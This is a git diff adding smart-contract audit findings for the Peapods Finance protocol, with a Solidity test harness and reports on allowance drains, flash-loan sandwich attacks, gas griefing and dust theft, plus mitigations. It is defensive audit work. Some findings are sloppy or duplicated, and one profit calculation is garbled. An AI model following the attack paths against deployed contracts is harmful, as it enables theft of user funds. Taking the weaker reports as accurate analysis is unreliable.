+ _burn(msg.sender, _amount); // Burn from the test contract (msg.sender)
+ emit Burn(msg.sender, _amount);
+ }
+
+ // function decimals() public view virtual override returns (uint8) {
+ // return _decimals; // Return the stored decimals value
+ // }
+
+ // Add a mint function for testing purposes:
+ function mint(address _to, uint256 _amount) public {
+ _mint(_to, _amount);
+ }
+
+ // Add a setDecimals function to allow changing the decimals value for testing:
+ // function setDecimals(uint8 _newDecimals) public {
+ // _decimals = _newDecimals;
+ // }
+
+ // ... other functions as needed for your tests ...
+}
+
+contract MockUniswapV2Factory {
+ mapping(address => mapping(address => address)) public getPair;
+
+ function setPair(address tokenA, address tokenB, address pairAddress) public {
+ getPair[tokenA][tokenB] = pairAddress;
+ getPair[tokenB][tokenA] = pairAddress;
+ }
+
+ // Simple createPair that deploys a new pair and stores it.
+ function createPair(address tokenA, address tokenB) public returns (address pair) {
+ MockUniswapV2Pair newPair = new MockUniswapV2Pair(tokenA, tokenB);
+ pair = address(newPair);
+ setPair(tokenA, tokenB, pair);
+ }
+}
+
+// Mock Uniswap V2 Pair.
+contract MockUniswapV2Pair {
+ IERC20 public token0;
+ IERC20 public token1;
+
+ constructor(address _tokenA, address _tokenB) {
+ token0 = IERC20(_tokenA);
+ token1 = IERC20(_tokenB);
+ }
+
+ // ... other pair functionality as needed for your tests
+}
+```
+The test file, include in your test folder
+```solidity
+ function test_BondingRevertsWithFeeToken() public {
+ // Deploy mock token with configurable transfer fee
+ MockFeeToken feeToken = new MockFeeToken(5); // 5% fee
+
+ // ... (Add feeToken to the index as before)
+
+ // Mint tokens to user
+ uint256 amount = 100e18;
+ feeToken.mint(alice, amount);
+
+ // Approve pod to spend tokens
+ vm.startPrank(alice);
+ feeToken.approve(address(pod), amount);
+ vm.stopPrank();
+
+ // Get balance of pod before bond
+ uint256 balanceBefore = feeToken.balanceOf(address(pod));
+
+ // Attempt to bond with feeToken
+ vm.startPrank(alice);
+ vm.expectRevert(); // Expect any revert reason
+ podLarge.publicBond(address(feeToken), amount, 0, alice);
+ vm.stopPrank();
+
+ // Get balance of pod after bond
+ uint256 balanceAfter = feeToken.balanceOf(address(pod));
+
+ // Assert that the balance increased by less than the transfer amount
+ assertLt(balanceAfter - balanceBefore, amount, "Balance should increase by less than the bond amount due to fees");
+
+ // Assert that the balance increased (it should increase by the amount after fees)
+ assertGt(balanceAfter, balanceBefore, "Balance should increase after bond");
+
+ // Optionally, get the revert reason and assert it contains "TV" or your custom error message
+ // bytes memory revertReason = vm.getRevertReason();
+ // assertContains(string(revertReason), "TV"); // Or your custom error message
+ }
+```
+
+
+
+
+
+### Mitigation
+
+Modify `_transferFromAndValidate` to track the actual received amount and use it in downstream logic:
+
+```diff
+function _transferFromAndValidate(IERC20 _token, address _sender, uint256 _amount) internal returns (uint256 _received) {
+ uint256 _balanceBefore = _token.balanceOf(address(this));
+ _token.safeTransferFrom(_sender, address(this), _amount);
+- _token.safeTransferFrom(_sender, address(this), _amount);
+- require(_token.balanceOf(address(this)) >= _balanceBefore + _amount, "TV");
++ _received = _token.balanceOf(address(this)) - _balanceBefore;
++ require(_received > 0, "No tokens received"); // Ensure tokens were received
+}
+```
+
+**Downstream Adjustments:**
+
+- Update the `_bond` function to use `_received` instead of `_amount` for calculations (e.g.,` _totalAssets` updates).
+
+- If modifying `_bond` is not feasible, ensure only tokens without fees are allowed in the index (document this limitation).
+
+
+**Why This Matters**
+**User Trust**: Ensures the protocol works as advertised for all supported tokens.
+
+**Future-Proofing**: Prepares the protocol to handle diverse ERC20 tokens (including those with fees).
+
+This fix aligns the implementation with the NatSpec’s intent and restores functionality for fee-charging tokens.
\ No newline at end of file
diff --git a/562.md b/562.md
new file mode 100644
index 0000000..1f6b6c4
--- /dev/null
+++ b/562.md
@@ -0,0 +1,81 @@
+Crazy Cyan Worm
+
+Medium
+
+# Residual Allowance in DEX Handler Enables `PAIRED_LP_TOKEN` Drain
+
+### Summary
+
+The missing allowance reset in `DecentralizedIndex.addLiquidityV2` will cause partial loss of PAIRED_LP_TOKEN reserves for the protocol as attackers will exploit residual allowances through DEX operations. The root cause in [`DecentralizedIndex.sol#L358`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L358) is the use of `safeIncreaseAllowance(0)` instead of `forceApprove(0)` when resetting DEX handler permissions after the external calling `DEX_HANDLER.addLiquidity`, leaving active allowances that can be abused through standard ERC20 transfers.
+
+### Root Cause
+
+In function `DecentralizedIndex.addLiquidityV2`([`DecentralizedIndex.sol#L358`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L358)) the incorrect allowance reset mechanism uses `safeIncreaseAllowance` instead of `forceApprove` to clear remaining token allowances. This leaves residual allowance for the DEX handler contract after liquidity operations, violating the principle of least privilege for ERC20 token approvals. The code should explicitly reset allowances to zero after external calls to prevent potential misuse of leftover permissions:
+
+```solidity
+ function addLiquidityV2(
+ uint256 _pTKNLPTokens,
+ uint256 _pairedLPTokens,
+ uint256 _slippage, // 100 == 10%, 1000 == 100%
+ uint256 _deadline
+ ) external override lock noSwapOrFee returns (uint256) {
+ // ...
+
+ IERC20(PAIRED_LP_TOKEN).safeTransferFrom(_msgSender(), address(this), _pairedLPTokens);
+ IERC20(PAIRED_LP_TOKEN).safeIncreaseAllowance(address(DEX_HANDLER), _pairedLPTokens);
+
+ uint256 _poolBalBefore = IERC20(DEX_HANDLER.getV2Pool(address(this), PAIRED_LP_TOKEN)).balanceOf(_msgSender());
+ DEX_HANDLER.addLiquidity(
+ address(this),
+ PAIRED_LP_TOKEN,
+ _pTKNLPTokens,
+ _pairedLPTokens,
+ (_pTKNLPTokens * (1000 - _slippage)) / 1000,
+ (_pairedLPTokens * (1000 - _slippage)) / 1000,
+ _msgSender(),
+ _deadline
+ );
+@> IERC20(PAIRED_LP_TOKEN).safeIncreaseAllowance(address(DEX_HANDLER), 0);
+
+ // ...
+ }
+```
+
+### Internal Pre-conditions
+
+1. DecentralizedIndex holds PAIRED_LP_TOKEN balance (e.g. 500 tokens worth $5,000)
+2. Residual allowance remains after liquidity operations (e.g. 50 tokens left from 500 token approval)
+3. Protocol accumulates multiple liquidity positions over time (e.g. 10 transactions leaving 50 tokens allowance each = 500 tokens total exposure)
+
+### External Pre-conditions
+
+1. DEX_HANDLER implements standard ERC20 transferFrom functionality using existing allowances
+2. PAIRED_LP_TOKEN has liquid market (e.g. $10/token on secondary markets)
+3. Protocol uses upgradable DEX_HANDLER contract or multiple approved handlers
+
+### Attack Path
+
+1. Legitimate user adds liquidity with 500 PAIRED_LP_TOKEN approval (actual usage 450 tokens)
+2. DecentralizedIndex leaves 50 token allowance for DEX_HANDLER
+3. Attacker calls DEX_HANDLER's swap function with malicious parameters:
+ - Uses transferFrom to take 50 PAIRED_LP_TOKEN from DecentralizedIndex
+ - Swaps stolen tokens for ETH through normal DEX operations
+4. Attacker repeats for each residual allowance instance across all historical transactions
+5. Protocol loses 10% of each liquidity addition's paired tokens (500 tokens total = $5,000 loss)
+
+### Impact
+
+Attackers can systematically drain 10-20% of every liquidity addition's paired tokens through normal DEX operations. For a protocol with $100,000 in total liquidity additions, this results in $10,000-$20,000 direct loss. The impact scales linearly with protocol usage, creating a perpetual leakage of paired assets.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Replace `safeIncreaseAllowance` with `forceApprove` to fully reset the allowance after liquidity operations. This ensures the DEX handler contract cannot use residual approvals in future transactions. The OpenZeppelin `forceApprove` function atomically sets allowance to zero before updating, preventing any leftover permissions from remaining active.
+
+```diff
+- IERC20(PAIRED_LP_TOKEN).safeIncreaseAllowance(address(DEX_HANDLER), 0);
++ IERC20(PAIRED_LP_TOKEN).forceApprove(address(DEX_HANDLER), 0);
+```
\ No newline at end of file
diff --git a/563.md b/563.md
new file mode 100644
index 0000000..3587b29
--- /dev/null
+++ b/563.md
@@ -0,0 +1,81 @@
+Huge Cyan Cod
+
+High
+
+# Attacker can gas grief user transactions by using rewards
+
+### Summary
+
+Attacker can gas grief user transactions by using rewards
+
+### Root Cause
+
+In [AutoCompoundingPodLp contract](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L213), every operation first call internal process reward function in order to convert the reward tokens to usable assets by using swap operations for every reward token.
+
+The problem is reward whitelist contract supports 12 tokens at max and those are choosen by the protocol.
+
+```solidity
+contract RewardsWhitelist is IRewardsWhitelister, Ownable {
+ uint8 constant MAX = 12;
+
+ mapping(address => bool) public override isWhitelistedFromDebondFee;
+```
+
+If a token is whitelisted, any user can donate dust amount of token to Auto Compounding contract in order to process rewards. This situation may cause gas grief attacks for the users because in single transaction all the reward functions are swaped to LP token in the end ( For single reward token there are 2 swap operation and 1 add liquidity operation).
+
+```solidity
+ function _processRewardsToPodLp(uint256 _amountLpOutMin, uint256 _deadline) internal returns (uint256 _lpAmtOut) {
+ if (!yieldConvEnabled) {
+ return _lpAmtOut;
+ }
+ address[] memory _tokens = ITokenRewards(IStakingPoolToken(_asset()).POOL_REWARDS()).getAllRewardsTokens();
+ uint256 _len = _tokens.length + 1;
+ for (uint256 _i; _i < _len; _i++) {
+ address _token = _i == _tokens.length ? pod.lpRewardsToken() : _tokens[_i];
+ uint256 _bal =
+ IERC20(_token).balanceOf(address(this)) - (_token == pod.PAIRED_LP_TOKEN() ? _protocolFees : 0); // @audit-info gas griefing and DoS attacks
+ if (_bal == 0) { // @audit after swap let say there are few wei tokens left - gas grief
+ continue;
+ }
+ uint256 _newLp = _tokenToPodLp(_token, _bal, 0, _deadline);
+ _lpAmtOut += _newLp;
+ }
+ _totalAssets += _lpAmtOut;
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+```
+
+Get all reward tokens function works on token rewards contract but it can be easily added to token rewards contract by just simply depositing reward as an user.
+
+```solidity
+ function depositRewards(address _token, uint256 _amount) external override {
+ _depositRewardsFromToken(_msgSender(), _token, _amount, true);
+ }
+```
+
+### Internal Pre-conditions
+
+No need
+
+### External Pre-conditions
+
+1. Some reward tokens should be whitelisted by the protocol
+
+### Attack Path
+
+1. Firstly attacker deposit small amount of rewards to `TokenRewards` contract in order to active the tokens ( They are also whitelisted already )
+2. And then attacker can donate each token to AutoCompoundingPodLP contract for reward processing
+3. Let say the next caller is Alice will interact will Auto Compounding Pod LP.
+4. She should pay massive amount of gas fee for the execution, maybe transaction can also revert ( DoS )
+
+### Impact
+
+Loss of funds for the users, fee for swap operation may change in time but we can say that in normal chain conditions 3$ is paid for swap operation in mainnet. If there is 12 tokens, there will be 24 swap operation and 12 add liquidity operation. The user will pay massive amount of gas fee for the execution. It can also revert the transaction due to OOG issue.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Fix is not trivial.
\ No newline at end of file
diff --git a/564.md b/564.md
new file mode 100644
index 0000000..de698a4
--- /dev/null
+++ b/564.md
@@ -0,0 +1,114 @@
+Crazy Cyan Worm
+
+Medium
+
+# Missing Slippage Protection in `WeightedIndex.debond` Enables Flash Loan-Powered Sandwich Attacks
+
+### Summary
+
+The missing minimum output validation in `WeightedIndex.debond` will cause partial loss of funds for users withdrawing from the index as attackers can manipulate withdrawal ratios through flash loan-powered sandwich attacks. By front-running a user's `WeightedIndex.debond` transaction with a large `WeightedIndex.bond` operation funded by flash loans, attackers artificially inflate the index's total supply, reducing the victim's share percentage and withdrawn token amounts. This allows attackers to profit from the manipulated asset ratios while victims receive significantly less value than market rates.
+
+### Root Cause
+
+The `WeightedIndex.debond` function in [`WeightedIndex.sol#L185-L191`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L185-L191) lacks critical slippage protection mechanisms, enabling sandwich attacks through:
+
+```solidity
+ function debond(uint256 _amount, address[] memory, uint8[] memory) external override lock noSwapOrFee {
+ uint256 _amountAfterFee = _isLastOut(_amount) || REWARDS_WHITELIST.isWhitelistedFromDebondFee(_msgSender())
+ ? _amount
+ : (_amount * (DEN - _fees.debond)) / DEN;
+@> uint256 _percSharesX96 = (_amountAfterFee * FixedPoint96.Q96) / _totalSupply;
+
+ // ...
+
+ for (uint256 _i; _i < _il; _i++) {
+@> uint256 _debondAmount = (_totalAssets[indexTokens[_i].token] * _percSharesX96) / FixedPoint96.Q96;
+ if (_debondAmount > 0) {
+ _totalAssets[indexTokens[_i].token] -= _debondAmount;
+@> IERC20(indexTokens[_i].token).safeTransfer(_msgSender(), _debondAmount);
+ }
+ }
+
+ // ...
+ }
+```
+
+1. **Manipulable Share Calculation**:
+ - The `_percSharesX96` ratio (L185) uses real-time `_totalSupply` that attackers can inflate via front-run `WeightedIndex.bond` calls
+ - Withdrawal amounts are calculated based on current `_totalAssets` balances that can be altered through flash loan attacks
+
+2. **Absence of Minimum Output Checks**:
+ - No parameters allow users to specify minimum acceptable amounts for each withdrawn token
+ - Direct transfers at L191 execute regardless of actual asset values relative to market prices
+
+3. **Attack Vector**:
+ - Attacker front-runs user's `debond` with large `bond` to manipulate `_totalSupply` and asset ratios
+ - User's calculated `_percSharesX96` yields fewer assets than expected
+ - Attacker reverses position post-user-transaction through `debond`, profiting from manipulated ratios
+
+The core vulnerability lies in the withdrawal process relying entirely on manipulable contract state without user-defined safety thresholds for asset outputs.
+
+### Internal Pre-conditions
+
+1. `debond` function calculates withdrawals using real-time `_totalSupply` and `_totalAssets`
+2. No minimum amount validation exists for individual token withdrawals
+3. `bond` function allows arbitrary supply inflation without cooldown/limits
+
+### External Pre-conditions
+
+1. Attacker has access to flash loan facilities
+2. Index contains sufficient liquidity in underlying tokens (e.g., $1M TVL)
+3. At least 2 tokens exist in the index with liquid markets
+
+### Attack Path
+
+1. Victim initiates debond of 100,000 index tokens (worth $100k at fair value)
+2. Attacker front-runs transaction with:
+ a. $500k flash loan
+ b. `bond` call injecting 500,000 index tokens via manipulated pricing
+3. Victim's transaction executes:
+ - `_totalSupply` inflated from 1M to 1.5M tokens
+ - `_percSharesX96` becomes 6.66% instead of 10%
+ - Receives $66.6k worth of assets instead of $100k
+4. Attacker back-runs with `debond` of 500k tokens:
+ - Withdraws $333k using same manipulated ratios
+ - Repays flash loan with $500k principal
+5. Net profit: $333k (withdrawn) - $500k (loan) + $500k (repayment) + $33.4k (victim loss) = $33.4k profit
+
+### Impact
+
+Victim suffers 33.4% immediate financial loss ($100k ➔ $66.6k) due to artificial supply inflation. Attack scales linearly with victim position size - a $1M debond under same conditions would yield $666k loss. Losses become permanent when attacker arbitrages manipulated assets against real markets.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement mandatory slippage protection in the `debond` function through:
+
+1. **Minimum Output Parameters**:
+ - Add a `uint256[] calldata minAmounts` parameter for per-token minimums
+ - Require withdrawn amounts ≥ specified minimums
+
+2. **Validation Layer**:
+
+```solidity
+for (uint256 i; i < indexTokens.length; ++i) {
+ uint256 debondAmount = ...; // Existing calculation
+ require(debondAmount >= minAmounts[i], "Below minimum");
+}
+```
+
+3. **Parameter Consistency Checks**:
+
+```solidity
+ require(minAmounts.length == indexTokens.length, "Invalid input length");
+```
+
+4. **Front-running Resistance**:
+ - Use deadline parameters to invalidate stale transactions
+ - Implement TWAP-based checks for critical ratios
+
+This matches the existing `bond` function's `_amountMintMin` pattern, creating symmetric protection for deposit/withdrawal operations.
diff --git a/565.md b/565.md
new file mode 100644
index 0000000..de698a4
--- /dev/null
+++ b/565.md
@@ -0,0 +1,114 @@
+Crazy Cyan Worm
+
+Medium
+
+# Missing Slippage Protection in `WeightedIndex.debond` Enables Flash Loan-Powered Sandwich Attacks
+
+### Summary
+
+The missing minimum output validation in `WeightedIndex.debond` will cause partial loss of funds for users withdrawing from the index as attackers can manipulate withdrawal ratios through flash loan-powered sandwich attacks. By front-running a user's `WeightedIndex.debond` transaction with a large `WeightedIndex.bond` operation funded by flash loans, attackers artificially inflate the index's total supply, reducing the victim's share percentage and withdrawn token amounts. This allows attackers to profit from the manipulated asset ratios while victims receive significantly less value than market rates.
+
+### Root Cause
+
+The `WeightedIndex.debond` function in [`WeightedIndex.sol#L185-L191`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L185-L191) lacks critical slippage protection mechanisms, enabling sandwich attacks through:
+
+```solidity
+ function debond(uint256 _amount, address[] memory, uint8[] memory) external override lock noSwapOrFee {
+ uint256 _amountAfterFee = _isLastOut(_amount) || REWARDS_WHITELIST.isWhitelistedFromDebondFee(_msgSender())
+ ? _amount
+ : (_amount * (DEN - _fees.debond)) / DEN;
+@> uint256 _percSharesX96 = (_amountAfterFee * FixedPoint96.Q96) / _totalSupply;
+
+ // ...
+
+ for (uint256 _i; _i < _il; _i++) {
+@> uint256 _debondAmount = (_totalAssets[indexTokens[_i].token] * _percSharesX96) / FixedPoint96.Q96;
+ if (_debondAmount > 0) {
+ _totalAssets[indexTokens[_i].token] -= _debondAmount;
+@> IERC20(indexTokens[_i].token).safeTransfer(_msgSender(), _debondAmount);
+ }
+ }
+
+ // ...
+ }
+```
+
+1. **Manipulable Share Calculation**:
+ - The `_percSharesX96` ratio (L185) uses real-time `_totalSupply` that attackers can inflate via front-run `WeightedIndex.bond` calls
+ - Withdrawal amounts are calculated based on current `_totalAssets` balances that can be altered through flash loan attacks
+
+2. **Absence of Minimum Output Checks**:
+ - No parameters allow users to specify minimum acceptable amounts for each withdrawn token
+ - Direct transfers at L191 execute regardless of actual asset values relative to market prices
+
+3. **Attack Vector**:
+ - Attacker front-runs user's `debond` with large `bond` to manipulate `_totalSupply` and asset ratios
+ - User's calculated `_percSharesX96` yields fewer assets than expected
+ - Attacker reverses position post-user-transaction through `debond`, profiting from manipulated ratios
+
+The core vulnerability lies in the withdrawal process relying entirely on manipulable contract state without user-defined safety thresholds for asset outputs.
+
+### Internal Pre-conditions
+
+1. `debond` function calculates withdrawals using real-time `_totalSupply` and `_totalAssets`
+2. No minimum amount validation exists for individual token withdrawals
+3. `bond` function allows arbitrary supply inflation without cooldown/limits
+
+### External Pre-conditions
+
+1. Attacker has access to flash loan facilities
+2. Index contains sufficient liquidity in underlying tokens (e.g., $1M TVL)
+3. At least 2 tokens exist in the index with liquid markets
+
+### Attack Path
+
+1. Victim initiates debond of 100,000 index tokens (worth $100k at fair value)
+2. Attacker front-runs transaction with:
+ a. $500k flash loan
+ b. `bond` call injecting 500,000 index tokens via manipulated pricing
+3. Victim's transaction executes:
+ - `_totalSupply` inflated from 1M to 1.5M tokens
+ - `_percSharesX96` becomes 6.66% instead of 10%
+ - Receives $66.6k worth of assets instead of $100k
+4. Attacker back-runs with `debond` of 500k tokens:
+ - Withdraws $333k using same manipulated ratios
+ - Repays flash loan with $500k principal
+5. Net profit: $333k (withdrawn) - $500k (loan) + $500k (repayment) + $33.4k (victim loss) = $33.4k profit
+
+### Impact
+
+Victim suffers 33.4% immediate financial loss ($100k ➔ $66.6k) due to artificial supply inflation. Attack scales linearly with victim position size - a $1M debond under same conditions would yield $666k loss. Losses become permanent when attacker arbitrages manipulated assets against real markets.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement mandatory slippage protection in the `debond` function through:
+
+1. **Minimum Output Parameters**:
+ - Add a `uint256[] calldata minAmounts` parameter for per-token minimums
+ - Require withdrawn amounts ≥ specified minimums
+
+2. **Validation Layer**:
+
+```solidity
+for (uint256 i; i < indexTokens.length; ++i) {
+ uint256 debondAmount = ...; // Existing calculation
+ require(debondAmount >= minAmounts[i], "Below minimum");
+}
+```
+
+3. **Parameter Consistency Checks**:
+
+```solidity
+ require(minAmounts.length == indexTokens.length, "Invalid input length");
+```
+
+4. **Front-running Resistance**:
+ - Use deadline parameters to invalidate stale transactions
+ - Implement TWAP-based checks for critical ratios
+
+This matches the existing `bond` function's `_amountMintMin` pattern, creating symmetric protection for deposit/withdrawal operations.
diff --git a/566.md b/566.md
new file mode 100644
index 0000000..6b69bb1
--- /dev/null
+++ b/566.md
@@ -0,0 +1,47 @@
+Chilly Wool Ladybug
+
+Medium
+
+# Incorrect address of oracle in DualOracleChainlinkUniV3
+
+### Summary
+
+`DualOracleChainlinkUniV3` has a hardcoded static oracle address that does not correspond to a valid contract on `Base`, all calls to `_updateExchangeRate()` will revert, breaking the protocol on `Base`.
+
+### Root Cause
+
+`getPrices` uses a static oracle
+
+```solidity
+function getPrices() external view returns (bool _isBadData, uint256 _priceLow, uint256 _priceHigh) {
+ address[] memory _pools = new address[](1);
+ _pools[0] = UNI_V3_PAIR_ADDRESS;
+ uint256 _price1 = IStaticOracle(0xB210CE856631EeEB767eFa666EC7C1C57738d438).quoteSpecificPoolsWithTimePeriod(
+ ORACLE_PRECISION, BASE_TOKEN, QUOTE_TOKEN, _pools, TWAP_DURATION
+ );
+```
+The issue is that `0xB210CE856631EeEB767eFa666EC7C1C57738d438` is not an oracle on `Base`
+
+### Internal Pre-conditions
+
+None
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+Because it is in a function and not in the constructor, the `DualOracle` will be deployed, but `getPrices` will always revert.
+
+### Impact
+
+oracle.getPrices() is called in `_updateExchangeRate()`. This means all the `FraxlendPairCore` functions will break on `Base`, essentially rendering a key functionality the protocol useless on that chain.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/567.md b/567.md
new file mode 100644
index 0000000..77b3f72
--- /dev/null
+++ b/567.md
@@ -0,0 +1,35 @@
+Rich Grey Crocodile
+
+Medium
+
+# Users can still dilute and steal rewards using an external flashloan
+
+## Vulnerability Details
+
+In flashMint of DecentralizedIndex.sol, we can see that `shortCircuitRewars` is set to true to temporarily prevent the rewards calculation during a flashloan of the pod's native share token to prevent malicious attackers from diluting and stealing the rewards:
+
+```solidity
+function flashMint(address _recipient, uint256 _amount, bytes calldata _data) external override lock {
+ --> _shortCircuitRewards = 1;
+ uint256 _fee = _amount / 1000;
+ _mint(_recipient, _amount);
+ IFlashLoanRecipient(_recipient).callback(_data);
+ // Make sure the calling user pays fee of 0.1% more than they flash minted to recipient
+ _burn(_recipient, _amount);
+ // only adjust _totalSupply by fee amt since we didn't add to supply at mint during flash mint
+ _totalSupply -= _fee == 0 ? 1 : _fee;
+ _burn(_msgSender(), _fee == 0 ? 1 : _fee);
+ _shortCircuitRewards = 0;
+ emit FlashMint(_msgSender(), _recipient, _amount);
+}
+```
+
+However, from the other files like the leverage folders, we can see that the native pod tokens are often integrated with uniswap pools and fraxlend pairs.
+
+## Attack path
+So, malicious attackers can still find a way around to carry out the same attack path by using an external pool like uniswap or fraxlend which has the pod's native share token as one of the tokens involved to flashloan and steal the rewards, since `shortCircuitRewards` **will not be set to true** in those senarios.
+
+Since `shortCircuitRewards` is set to false, reward calculations will be triggered and `_feeSwap` will send the rewards into TokenRewards.sol for distribution which the malicious attacker can steal.
+
+## LoC
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L425
diff --git a/568.md b/568.md
new file mode 100644
index 0000000..5a9cfe9
--- /dev/null
+++ b/568.md
@@ -0,0 +1,38 @@
+Sneaky Zinc Narwhal
+
+High
+
+# the _getYieldFees can be bypassed
+
+### Summary
+
+the **_getYieldFees** fee amount can be bypassed by using the function **depositRewards** instead of **depositFromPairedLpToken** in the contract **TokenReward ** in the function **depositFromPairedLpToken** if **LEAVE_AS_PAIRED_LP_TOKEN** is turned to true it will subtract **_getYieldFees** percentage but if the **LEAVE_AS_PAIRED_LP_TOKEN** is turned on we can still bypass it by using the **depositRewards** function with **PAIRED_LP_TOKEN** token argument
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L180
+
+### Root Cause
+
+the **depositRewards** function doesnlt have a yieldfee calculaltion if the token is **PAIRED_LP_TOKEN**
+
+### Internal Pre-conditions
+
+**LEAVE_AS_PAIRED_LP_TOKEN** have to be true
+
+### External Pre-conditions
+
+nothing
+
+### Attack Path
+
+nothing
+
+### Impact
+
+fee will not be collected
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/569.md b/569.md
new file mode 100644
index 0000000..251c83b
--- /dev/null
+++ b/569.md
@@ -0,0 +1,6 @@
+Main Infrared Hyena
+
+High
+
+# The _msg.sender cant be trusted with Index Funds
+
diff --git a/570.md b/570.md
new file mode 100644
index 0000000..ae2a151
--- /dev/null
+++ b/570.md
@@ -0,0 +1,48 @@
+Narrow Pewter Spider
+
+Medium
+
+# Zero-Amount Swap Vulnerability in swapV2Single and swapV3Single
+
+### Summary
+
+The dust generated from swaps can be drained by anyone from the adapter contract, which leads to gradual loss of funds/value
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/AerodromeDexAdapter.sol#L62
+
+In AerodromeDexAdapter.sol the swap functions check if _amountIn is zero and, if so, default to using the adapter’s entire token balance. This design flaw allows any caller to drain accumulated dust from the contract.
+
+### Internal Pre-conditions
+
+The adapter contract holds a nonzero token balance (dust) from prior swap operations or rounding errors.
+The caller sets _amountIn to zero in a swap call.
+There is no authorization check restricting who can call the swap functions.
+
+### External Pre-conditions
+External liquidity operations (such as addLiquidity or removeLiquidity) contribute to the accumulation of residual (“dust”) tokens in the adapter.
+The external protocols interacting with the adapter do not enforce strict dust management.
+
+
+### Attack Path
+
+The attacker observes that the adapter holds a residual token balance.
+The attacker calls either swapV2Single or swapV3Single with _amountIn set to zero.
+The adapter then uses its full token balance (the dust) for the swap, transferring those tokens to the attacker’s specified recipient.
+
+### Impact
+
+The protocol or liquidity providers suffer an approximate loss equal to the accumulated dust tokens. [The attacker gains the entire residual token amount present in the adapter.]
+
+### PoC
+
+An attacker sends a transaction to the swap function with _amountIn = 0, triggering the transfer of all residual tokens held by the adapter.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/AerodromeDexAdapter.sol#L62
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/AerodromeDexAdapter.sol#L125
+
+### Mitigation
+
+Require that _amountIn is greater than zero before proceeding with the swap.
+If dust sweeping is desired, implement it as a controlled, owner-only function rather than within public swap functions.
\ No newline at end of file
diff --git a/571.md b/571.md
new file mode 100644
index 0000000..0534361
--- /dev/null
+++ b/571.md
@@ -0,0 +1,39 @@
+Sneaky Zinc Narwhal
+
+Medium
+
+# _amountOutMin should be override
+
+### Summary
+
+in the contract AutoCompoundingPodLp function **_swapV2** if there is more than one swap the **_twoHops** bollean will be turned to true the problem is that **_amountOutMin** in line 374 shouldnt be calculated with `` (_amountOutMin * maxSwap[_path[0]]) / _amountIn;`` if there is another swa (_amountOutMin * maxSwap[_path[0]]) / _amountIn; instead should be calculated with the second maxSwap[_path[`]]
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L374
+
+### Root Cause
+
+in AutoCompoundingPodLp line 274 **_amountOutMin** will also be calculated even if there is another trade
+
+### Internal Pre-conditions
+
+nothing
+
+### External Pre-conditions
+
+nothing
+
+### Attack Path
+
+nothing
+
+### Impact
+
+might lead to revert
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/572.md b/572.md
new file mode 100644
index 0000000..c65217c
--- /dev/null
+++ b/572.md
@@ -0,0 +1,43 @@
+Sneaky Zinc Narwhal
+
+High
+
+# some variable have to be update before in the unstake function
+
+### Summary
+
+in the contract **VotingPool** function unstake should have to first update **_stake.stakedToOutputDenomenator)** **_stake.stakedToOutputFactor**; before calculating **_amtStakeToRemove** in line 51 to get the real time burn amount
+```solidity
+ uint256 _amtStakeToRemove = (_amount * _stake.stakedToOutputDenomenator) / _stake.stakedToOutputFactor;
+ _stake.amtStaked -= _amtStakeToRemove;
+
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/VotingPool.sol#L51
+
+### Root Cause
+
+in VotingPool the **_stake.stakedToOutputDenomenator)** **_stake.stakedToOutputFactor**; arent updated
+
+### Internal Pre-conditions
+
+nothing
+
+### External Pre-conditions
+
+nothing
+
+### Attack Path
+
+nothing
+
+### Impact
+
+WRONG VALUE WILL BE BURNED
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/invalid/.gitkeep b/invalid/.gitkeep
new file mode 100644
index 0000000..e69de29
diff --git a/invalid/012.md b/invalid/012.md
new file mode 100644
index 0000000..9bd932b
--- /dev/null
+++ b/invalid/012.md
@@ -0,0 +1,78 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Incorrect Transfer Amount Calculation Due to Reliance on Balance Check
+
+### Summary
+
+The function [`_depositRewardsFromToken`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L189C1-L189C5) calculates the actual transfer amount based on the difference between the contract's token balance before and after a transfer. This method is unreliable because external transactions or reentrant calls can alter the balance, leading to incorrect calculations. This can result in overcharging or undercharging fees, depositing the wrong reward amount
+
+### Root Cause
+
+[`_depositRewardsFromToken function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L189) in TokenReward.sol lies in the reliance on the contract's token balance to calculate the amount transferred.
+
+```solidity
+uint256 _balBefore = IERC20(_token).balanceOf(address(this));
+IERC20(_token).safeTransferFrom(_user, address(this), _finalAmt);
+_finalAmt = IERC20(_token).balanceOf(address(this)) - _balBefore;
+
+```
+
+* This assumes that the only change in the contract's balance comes from the transfer initiated by safeTransferFrom
+
+##### External Balance Changes:
+
